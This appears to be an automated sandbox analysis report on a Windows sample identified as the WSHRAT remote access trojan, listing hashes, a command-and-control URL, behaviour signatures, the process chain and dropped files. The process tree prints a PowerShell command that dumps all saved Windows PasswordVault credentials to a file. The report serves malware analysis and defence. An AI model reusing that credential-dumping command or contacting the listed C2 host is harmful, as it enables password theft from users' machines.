Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    29-09-2023 08:38

General

  • Target

    b6de2a88ddd8a054aa19818d7f0f7e5f.exe

  • Size

    2.1MB

  • MD5

    b6de2a88ddd8a054aa19818d7f0f7e5f

  • SHA1

    26157de03c6c6c50b57f553a925e263064c101d1

  • SHA256

    ba1a738798423e40a68ace116d390c7aca541a4b6472c9139ab27d4af38710b9

  • SHA512

    9378ca26fef0fcbb0ca0ed6509a7a7673ae8c4064bd9156aa0be8d841292aa4b84a161a898abb438c73ed338503fa78f52d9703ec63a41e7dcc7066249e9b577

  • SSDEEP

    49152:PkQTAhZM75sl9vhRFsmtkljB6chL58q/mJzhc+EbmOZt:PaLMVsPfFntkljB646q/mJmh

Score
10/10

Malware Config

Extracted

Family

wshrat

C2

http://80.76.51.33:2606

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • WSHRAT payload 2 IoCs
  • Blocklisted process makes network request 12 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 4 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b6de2a88ddd8a054aa19818d7f0f7e5f.exe
    "C:\Users\Admin\AppData\Local\Temp\b6de2a88ddd8a054aa19818d7f0f7e5f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\SysWOW64\wscript.exe
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\vVqvy.vbs"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\SysWOW64\wscript.exe
          "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Local\Temp\vVqvy.vbs"
          4⤵
          • Blocklisted process makes network request
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2912
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:11604

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Y8E7WD55\json[1].json

    Filesize

    323B

    MD5

    0c17abb0ed055fecf0c48bb6e46eb4eb

    SHA1

    a692730c8ec7353c31b94a888f359edb54aaa4c8

    SHA256

    f41e99f954e33e7b0e39930ec8620bf29801efc44275c1ee6b5cfa5e1be202c0

    SHA512

    645a9f2f94461d8a187261b736949df398ece5cfbf1af8653d18d3487ec1269d9f565534c1e249c12f31b3b1a41a8512953b1e991b001fc1360059e3fd494ec3

  • C:\Users\Admin\AppData\Local\Temp\Cab4BA2.tmp

    Filesize

    61KB

    MD5

    f3441b8572aae8801c04f3060b550443

    SHA1

    4ef0a35436125d6821831ef36c28ffaf196cda15

    SHA256

    6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

    SHA512

    5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

  • C:\Users\Admin\AppData\Local\Temp\Tar4BE4.tmp

    Filesize

    163KB

    MD5

    9441737383d21192400eca82fda910ec

    SHA1

    725e0d606a4fc9ba44aa8ffde65bed15e65367e4

    SHA256

    bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

    SHA512

    7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

  • C:\Users\Admin\AppData\Local\Temp\vVqvy.vbs

    Filesize

    180KB

    MD5

    9bcc1d31eae798a11b1d50f46b1de92c

    SHA1

    8bc898b80ead2433ac20eaa9936d2e40ea1db01e

    SHA256

    cc2ca06bf02d0ba8b9ec6874b734bf6a39f84d536f6bb2d7cc5e3d577697e45b

    SHA512

    b0a13f056ce07f5bf1360cb9754759c499c1560ed19c684f50774d0d6f72e0669b9e10a243185d9c31555938ae2799a09222236d960fb36f935bda266b764d6d

  • C:\Users\Admin\AppData\Local\Temp\wshsdk.zip

    Filesize

    12.4MB

    MD5

    d9a63dfd8b73629421bb44bcde09f312

    SHA1

    7855575c12eaee0e734f3901ca1da2931e9b587a

    SHA256

    9d5bb028794410fda9d1b3e0f8deb6beee5bd4e1e55340bd375a209c81dc98eb

    SHA512

    df195c22f7818569cc92e995846ab507caa30f341ac902cc8afe6f06ae4493709e7f80357c91cf14b21e58e2154e0b35f2154d8a313bf36fcff0b72b3a539cf8

  • C:\Users\Admin\AppData\Local\Temp\wshsdk\Lib\SITE-P~1\adodbapi\test\is64bit.py

    Filesize

    1KB

    MD5

    ca2cc8e73bbca371935bbc92ed18d567

    SHA1

    1adb458919e842cd78c72b1ff00e5e93cb6ef75e

    SHA256

    bea3f797921992fda45c19db41e10e3b325bcdd3ea35d35c1fa70535477ad9c1

    SHA512

    b63df3bad9272f45ba0f50e2c50aaed7a04eb1b000d5855d9f3a8e5c5f2d381c667b1e9c1e1f03f80584a7941a96992838664ae9dd25e1b8320e026da35b8223

  • C:\Users\Admin\AppData\Roaming\vVqvy.vbs

    Filesize

    180KB

    MD5

    9bcc1d31eae798a11b1d50f46b1de92c

    SHA1

    8bc898b80ead2433ac20eaa9936d2e40ea1db01e

    SHA256

    cc2ca06bf02d0ba8b9ec6874b734bf6a39f84d536f6bb2d7cc5e3d577697e45b

    SHA512

    b0a13f056ce07f5bf1360cb9754759c499c1560ed19c684f50774d0d6f72e0669b9e10a243185d9c31555938ae2799a09222236d960fb36f935bda266b764d6d

  • memory/1852-20-0x00000000749D0000-0x00000000750BE000-memory.dmp

    Filesize

    6.9MB

  • memory/1852-6-0x0000000004E90000-0x0000000004ED0000-memory.dmp

    Filesize

    256KB

  • memory/1852-1-0x0000000005100000-0x000000000532C000-memory.dmp

    Filesize

    2.2MB

  • memory/1852-2-0x0000000004E90000-0x0000000004ED0000-memory.dmp

    Filesize

    256KB

  • memory/1852-3-0x0000000004E90000-0x0000000004ED0000-memory.dmp

    Filesize

    256KB

  • memory/1852-4-0x0000000004ED0000-0x00000000050FA000-memory.dmp

    Filesize

    2.2MB

  • memory/1852-5-0x00000000025D0000-0x00000000025DA000-memory.dmp

    Filesize

    40KB

  • memory/1852-0-0x00000000749D0000-0x00000000750BE000-memory.dmp

    Filesize

    6.9MB

  • memory/2152-18-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/2152-16-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/2152-7-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/2152-25-0x0000000074A50000-0x000000007513E000-memory.dmp

    Filesize

    6.9MB

  • memory/2152-21-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/2152-9-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/2152-15-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2152-22-0x0000000074A50000-0x000000007513E000-memory.dmp

    Filesize

    6.9MB

  • memory/2152-13-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/2152-11-0x0000000000400000-0x000000000048A000-memory.dmp

    Filesize

    552KB

  • memory/11604-23890-0x0000000073890000-0x0000000073E3B000-memory.dmp

    Filesize

    5.7MB

  • memory/11604-23891-0x0000000073890000-0x0000000073E3B000-memory.dmp

    Filesize

    5.7MB

  • memory/11604-23892-0x0000000002550000-0x0000000002590000-memory.dmp

    Filesize

    256KB

  • memory/11604-23893-0x0000000002550000-0x0000000002590000-memory.dmp

    Filesize

    256KB

  • memory/11604-23894-0x0000000002550000-0x0000000002590000-memory.dmp

    Filesize

    256KB